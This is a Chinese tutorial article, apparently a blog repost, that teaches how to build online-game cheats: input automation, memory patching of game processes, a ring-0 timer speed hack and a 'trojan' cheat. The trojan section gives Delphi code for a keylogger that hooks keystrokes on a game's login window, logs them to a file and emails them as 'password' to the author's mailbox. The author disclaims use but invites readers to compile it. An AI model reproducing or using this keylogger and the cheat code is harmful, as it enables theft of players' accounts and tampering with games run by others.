速度类游戏的速度随着时间ssd 如何加快游戏速度用什么函数好

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分类: 网络与安全
在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):  1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。(这种外挂完全是垃圾,***,只要会一点点API的人都知道该怎么做,不过这种外挂也是入门级的好东东,虽然不能提高你的战斗力,但是可以提高你的士气)  2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。(这种外挂,比上一种有一点点难度,但是这种外挂做起来能够用,也是有一定难度的啦~~,这种外挂可以很快提升你对内存地址的理解及应用,是你编程技术提高的好东东)  3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码(***,“烂”就一个字,不过要知已知彼所以还是要谈一下啦~~),做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。(我以前写过这样的东东,但是从来没有用过,我知道这种东东很不道德,所以以后千万别用呀!)  4、加速式,这种外挂可以加快游戏的速度……(对不起大家,这种东东我没有实际做过,所以不能妄自评,惭愧)  这几种外挂之中,前三种可以用VB,Delphi等语言比较好实现,后两种则要用VC等底层支持比较好的编程工具才好实现。   动作式外挂  首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。  记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:  1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:BOOL GetCursorPos( LPPOINT lpPoint // address of structure for cursor position );    2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:BOOL SetCursorPos(int X, // horizontal position int Y // vertical position);   3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:VOID mouse_event(DWORD dwFlags, // flags specifying various motion/click variantsDWORD dx, // horizontal mouse position or position changeDWORD dy, // vertical mouse position or position changeDWORD dwData, // amount of wheel movementDWORD dwExtraInfo // 32 bits of application-defined information);   在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~   好了,有了前面的知识,我们就可以来看看人物移走是怎么实现的了:getcursorpos(point);setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);setcursorpos(point.x,point.y);   看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,***,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:VOID keybd_event(BYTE bVk, // virtual-key codeBYTE bScan, // hardware scan codeDWORD dwFlags, // flags specifying various function optionsDWORD dwExtraInfo // additional data associated with keystroke);   我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:UINT MapVirtualKey(UINT uCode, // virtual-key code or scan codeUINT uMapType // translation to perform);   好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);keybd_event(65,mapvirtualkey(65,0),0,0);keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);   首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。  (看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)  本地修改式外挂  现在我们来看看,比动作式外挂更进一步的外挂--本地修改式外挂的整个制作过程进行一个详细的分解。  具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:  在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):  1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:HWND FindWindow(LPCTSTR lpClassName, // pointer to class nameLPCTSTR lpWindowName // pointer to window name);   2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:DWORD GetWindowThreadProcessId(HWND hWnd, // handle of windowLPDWORD lpdwProcessId // address of variable for process identifier);  3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:HANDLE OpenProcess(DWORD dwDesiredAccess, // access flag BOOL bInheritHandle, // handle inheritance flag DWORD dwProcessId // process identifier );   在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。  4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:BOOL WriteProcessMemory(HANDLE hProcess, // handle to process whose memory is written to LPVOID lpBaseAddress, // address to start writing to LPVOID lpBuffer, // pointer to buffer to write data toDWORD nSize, // number of bytes to writeLPDWORD lpNumberOfBytesWritten // actual number of bytes written );5、下面用CloseHandle关闭进程句柄就完成了。  这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:constResourceOffset: dword = $;resource: dword = ;ResourceOffset1: dword = $;resource1: dword = ;ResourceOffset2: dword = $0043FA50;resource2: dword = 1280185;ResourceOffset3: dword = $0043FA54;resource3: dword = ;ResourceOffset4: dword = $0043FA58;resource4: dword = ;varhw: HWND;pid:h: THtt: Cbeginhw := FindWindow('XX', nil);if hw = 0 thenEGetWindowThreadProcessId(hw, @pid);h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);if h = 0 thenEif flatcheckbox1.Checked=true thenbeginWriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);if flatcheckbox2.Checked=true thenbeginWriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);MessageBeep(0);CloseHandle(h);   这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。  木马式外挂  木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。  在做程序之前我们必需要了解一下程序的思路:  1、我们首先知道你想记录游戏的登录窗口名称。  2、判断登录窗口是否出现。  3、如果登录窗口出现,就记录键盘。  4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。  第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:  那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:HWND FindWindow(LPCTSTR lpClassName, // pointer to class nameLPCTSTR lpWindowName // pointer to window name);   实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。  先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:HHOOK SetWindowsHookEx(int idHook, // type of hook to installHOOKPROC lpfn, // address of hook procedureHINSTANCE hMod, // handle of application instanceDWORD dwThreadId // identity of thread to install hook for );   在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);   而HOOKPROC里的函数就要复杂一点点:function HookProc(iCode: wParam: wP lParam: lParam): LR begin if findedtitle then file://如果发现窗口后begin if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于键盘按下hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。if length(hookkey) > 0 then file://如果获得按键名称begin Write(hookkeyFile,hookkey); file://把按键名称写入文本文件hookkey := '';
  以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。  我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:assignfile(ReadFile,'hook.txt'); file://打开hook.txt这个文本文件reset(ReadFile); file://设为读取方式try While not Eof(ReadFile) do file://当没有读到文件尾begin Readln(ReadFile,s,j); file://读取文件行body:=body+s;
finally closefile(ReadFile); file://关闭文件 nmsmtp1.EncodeType:=uuM file://设置编码nmsmtp1.PostMessage.Attachments.Text:=''; file://设置附件nmsmtp1.PostMessage.FromAddress:=''; file://设置源邮件地址nmsmtp1.PostMessage.ToAddress.Text:=''; /设置目标邮件地址nmsmtp1.PostMessage.Body.Text:='密码'+' '+ file://设置邮件内容nmsmtp1.PostMessage.Subject:='password'; file://设置邮件标题nmsmtp1.SendM file://发送邮件   这个程序全部功能已经实现,编编试试。  加速型外挂  原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。  以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDE表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~  在实现之前我们来理一下思路吧:  1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作  2、调用这个过程来实现加速功能  好了,现在思路有了,我们就边看代码边讲解吧:  首先我们建立一个过程,这个过程就是本程序的核心部份:procedure SetRing(value:word); const ZDH = $03; // 设一个中断号varIDT : array [0..5] // 保存IDT表OG : //存放旧向量beginasmpush ebxsidt IDT //读入中断描述符表mov ebx, dword ptr [IDT+2] //IDT表基地址add ebx, 8*ZDH //计算中断在中断描述符表中的位置cli //关中断mov dx, word ptr [ebx+6] shl edx, 16d mov dx, word ptr [ebx] mov [OG], edx mov eax, offset @@Ring0 //指向Ring0级代码段mov word ptr [ebx], ax //低16位,保存在1,2位shr eax, 16dmov word ptr [ebx+6], ax //高16位,保存在6,7位int ZDH //中断mov ebx, dword ptr [IDT+2] //重新定位add ebx, 8*ZDHmov edx, [OG]mov word ptr [ebx], dxshr edx, 16dmov word ptr [ebx+6], dx //恢复被改了的向量pop ebxjmp @@exitasm //到exitasm处@@Ring0: //Ring0,这个也是最最最核心的东东mov al,$34 //写入8253控制寄存器out $43,almov ax,value //写入定时值out $40,al //写定时值低位mov al,ahout $40,al //写定时值高位iretd //返回@@exitasm:   最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:+inttostr(1742+(10-trackbar1.Position)*160)));   因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。  在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。  1、我们首先要下一个PortTalk驱动,他的官方网站是  2、我们要把里面的prottalk.sys拷贝出来。  3、建立一个Protalk.sys的接口(我想省略了,大家可以上文件自己看吧)  4、实现加速外挂。  下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。  1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。  2、我们在我们新建的工程加入我们的接口文件useswindows,ProtTalk……   3、我们建立一个过程procedure SetRing(value:word); beginif not OpenPortToutportb($43,$34);outportb($40,lo(Value));outprotb($40,hi(value));ClosePortT   4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:+inttostr(1742+(10-trackbar1.Position)*160)));  就这么容易。在内存中修改数据的网游外挂现在很多游戏都是把一些信息存入内存单元的,那么我们只需要修改具体内存值就能修改游戏中的属性,很多网络游戏也不外于此。  曾几何时,一些网络游戏也是可以用内存外挂进行修改的,后来被发现后,这些游戏就把单一内存地址改成多内存地址校验,加大了修改难度,不过仍然可以通过内存分析器可以破解的。诸如“FPE”这样的软件便提供了一定的内存分析功能。  “FPE”是基于内存外挂的佼佼者,是家喻户晓的游戏修改软件。很多同类的软件都是模仿“FPE”而得到玩家的认可。而“FPE”实现的技术到现在都没有公开,很多人只能够通过猜测“FPE”的实现方法,实现同类外挂。笔者也曾经模仿过“FPE”实现相应的功能,如“内存修改”、“内存查询”等技术。稍后会对此技术进行剖析。  既然要做内存外挂,那么就必须对Windows的内存机制有所了解。计算机的内存(RAM)总是不够用的,在操作系统中内存就有物理内存和虚拟内存之分,因为程序创建放入物理内存的地址都是在变化的,所以在得到游戏属性时并不能够直接访问物理内存地址。在v86模式下,段寄存器使用方法与实模式相同,那么可以通过段寄存器的值左移4位加上地址偏移量就可以得到线性地址,而程序创建时在线性地址的中保留4MB-2GB的一段地址,游戏中属性便放于此。在windows中把虚拟内存块称之为页,而每页为4KB,在访问内存时读取游戏属性时,为了不破坏数据完整性的快速浏览内存地址值,最好一次访问一页。  在操作进程内存时,不需要再使用汇编语言,Windows中提供了一些访问进程内存空间的API,便可以直接对进程内存进行操作。但初学者一般掌握不了这一项技术,为了使初学者也能够对内存进行操作,做出基于内存控制的外挂,笔者把一些内存操作及一些内存操作逻辑进行了封装,以控件形式提供给初学者。控件名为:MpMemCtl。  初学者在使用此控件时,要先安装外挂引擎控件包(在此后的每篇文章中外挂引擎控件包仅提供与该文章相应的控制控件),具体控件安装方式,请参阅《Delphi指南》,由于篇幅所限,恕不能详细提供。  在引擎安装完成后,便可以在Delphi中的组件栏内,找到[MP GameControls]控件组,其中可以找到[MpMemCtl]控件。初学者可以使用此控件可以对内存进行控制。  一、 得到进程句柄  需要操作游戏内存,那么首先必须确认要操作的游戏,而游戏程序在运行时所产生的每一个进程都有一个唯一的句柄。  使用控件得到句柄有三种方法:  1、 通过控件打开程序得到句柄。  在控件中,提供了startProgram方法,通过该方法,可以打开程序得到进程句柄,并且可以返回进程信息。PProcInfo: PROCESS_INFORMATION;MpMemCtl.startProgram( FilePath:S //程序路径 var aProc_Info:PROCESS_INFORMATION //进程信息):BOOLEAN   该方法提供了两个参数,第一个参数为要打开的程序路径,第二个参数为打开程序后所创建进程的进程信息。使用这个方法在得到进程信息的同时,并给控件的ProcHandle(进程句柄)属性进行了附值,这时可以使用控件直接对内存进程读写操作。其应用实例如下:Var PProcInfo: PROCESS_INFORMATION;begin MpMemCtl1.startProgram(edit1.Text, PProcInfo)   2、通过控件根据程序名称得到句柄。  在控件中,对系统运行进程也有了相应的描述,控件提供了两个方法,用于根据程序名称得到相应的进程句柄。getProcIDs()可以得到系统现在所运行的所有程序的名称列表。getProcID()可以通过所运行程序名称,得到相应进程的句柄。getProcIDs():TStrings //所返回为多行字符串型getProcID(aProcName:String //应用程序名称):T //应用程序进程句柄   其应用实例如下:  首先可以通过getProcIDs()并把参数列表返回ComboBox1.Items里:ComboBox1.Items:=MpMemCtl1.getProcIDs();   接着可以通过getProcID()得到相应的进程句柄,并给控件的ProcHandle(进程句柄)属性进行了附值,这时可以使用控件直接对内存进程读写操作。MpMemCtl1.getProcID(ComboBox1.Text)   3、通过控件根据窗口名称得到句柄。  在控件中,控件提供了两个方法,用于根据窗口名称得到相应的进程句柄。可以通过getALLWindow()得到所有在进程中运行的窗口。getWinProcHandle()可以通过相应的窗口名称,得到相应的进程的句柄。getALLWindow(aHandle:THandle //传入当前窗口的句柄):TS //返回当前所有运行窗口的名称getWinProcHandle(aWindowName:String //传入当前窗口名称):T //返回窗口的句柄   其应用实例如下:  首先可以通过getALLWindow ()并把参数列表返回ComboBox1.Items里:ComboBox1.Items:=MpMemCtl1. getALLWindow(Handle);   接着可以通过getWinProcHandle ()得到相应的进程句柄,并给控件的ProcHandle(进程句柄)属性进行了附值,这时可以使用控件直接对内存进程读写操作。MpMemCtl1. getWinProcHandle (ComboBox1.Text);   二、使游戏暂停  在程序中,为了便于更好的得到游戏的当前属性。在控件中提供了游戏暂停方法。只需要调用该方法,游戏便可以自由的暂停或启动。该方法为:pauseProc()pauseProc( aType:integer //控制类型)   控制类型只能够传入参数0或1,0代表使游戏暂停,1代表取消暂停。其应用实例如下:MpMemCtl1.pauseProc(0); //暂停游戏MpMemCtl1.pauseProc(1); //恢复暂停   三、读写内存值  游戏属性其实寄存在内存地址值里,游戏中要了解或修改游戏属性,可以通过对内存地值的读出或写入完成。  通过控件,要读写内存地址值很容易。可以通过调用控件提供的getAddressValue()及setAddressValue()两个方法即可,在使用方法之前,要确认的是要给ProcHandle属性进行附值,因为对内存的操作必须基于进程。给ProcHandle属性附值的方法,在上文中已经介绍。无论是对内存值进行读还是进行写,都要明确所要操作的内存地址。getAddressValue( //读取内存方法aAddress: //操作的内存地址var aValue:integer //读出的值):BsetAddressValue( //写入内存方法aAddress: //操作的内存地址aValue:integer //写入的值):B   要注意的是,传入内存地址时,内存地址必须为Pointer型。其应用实例如下:  读取地址值(如果“主角”等级所存放的地址为4549632):var aValue:Ibegin MpMemCtl1.getAddressValue(Pointer(‘4549632’),aValue);   这时aValue变量里的值为内存地址[4549632]的值。  写入地址值:MpMemCtl1.setAddressValue(Pointer(Strtoint(‘4549632’)),strtoint(87));   通过该方法可以把要修改的内存地址值改为87,即把“主角”等级改为87。  四、内存地址值分析  在游戏中要想要到游戏属性存放的内存地址,那么就对相应内存地址进行内存分析,经过分析以后才可得到游戏属性存放的人存地址。  控件提供两种基于内存地址的分析方法。一种是按精确地址值进行搜索分析,另一种是按内存变化增减量进行搜索分析。  1、 如果很明确的知道当前想要修改的地址值,那么就用精确地址值进行搜索分析  在游戏中,需要修改人物的经验值,那么首先要从游戏画面上获得经验值信息,如游戏人物当前经验值为9800,需要把经验值调高,那么这时候就需要对人物经验值在内存中搜索得到相应的内存地址,当然很可能在内存中地址值为9800的很多,第一次很可能搜索出若干个地址值为9800的地址。等待经验值再有所变化,如从9800变为了20000时,再次进行搜索,那么从刚刚所搜索到的地址中,便可以进一步获得范围更少的内存地址,以此类推,那么最后可得到经验值具体存放的地址。  如要用控件来实现内存值精确搜索,其实方法很简单,只需要调用该控件的Search()方法即可。但是在搜索之前要确认搜索的范围,正如前文中所说:“而程序创建时在线性地址的中保留4MB-2GB的一段地址”,所以要搜索的地址应该是4MB-2GB之间,所以要把控件的MaxAddress属性设为2GB,把控件的MinAddress属性设为4MB。还有一个需要确认的是需要搜索的值,那么应该把SearchValue属性设置为当前搜索的值。如果需要显示搜索进度那么可以把ShowGauge属性挂上一个相应的TGauge控件(该控件为进度条控件)。search( isFirst:Boolean //是否是第一次进行搜索):Boolean   在搜索分析时为了提高搜索效率、实现业务逻辑,那么需要传入一个参数,从而确认是否是第一次进行内存。其应用实例如下:maxV:=24;maxV:=2*MaxV;minV:=4*;V:=StrToInt(Edit1.Text);with MpMemCtl1 dobegin MaxAddress:=maxV; MinAddress:=minV; SearchValue:=SeaarchV; ShowGauge:=Gauge1; Search(first)if first then first:=   2、 如果不明确当前想要修改的地址值,只知道想要修改的值变大或变小,那么就按内存变化增减量进行搜索分析。  如有些游戏的人物血值不显示出来,但要对人物血值进行修改,那么只有借助于内存量增减变化而进行搜索分析出该人物血值存放的地址。如果人物被怪物打了一下,那么人物血值就会减少,那么这时候就用减量进行搜索分析,如果人物吃了“血”人物血值就会增加,那么这时候就用增量进行搜索分析。经过不断搜索,最后会把范围放血值的内存地址给搜索出来。  如要用控件来实现内存值精确搜索,其实方法很简单,只需要调用该控件的compare()方法即可。MaxAddress、MinAddress属性设置上面章节中有详细介绍,在此不再重提。在此分析中不需要再指定SearchValue属性。如果需要显示搜索进度那么可以把ShowGauge属性挂上一个相应的TGauge控件。compare ( isFirst:Boolean //是否是第一次进行搜索 aType:Integer //搜索分析类型):Boolean[@more@]
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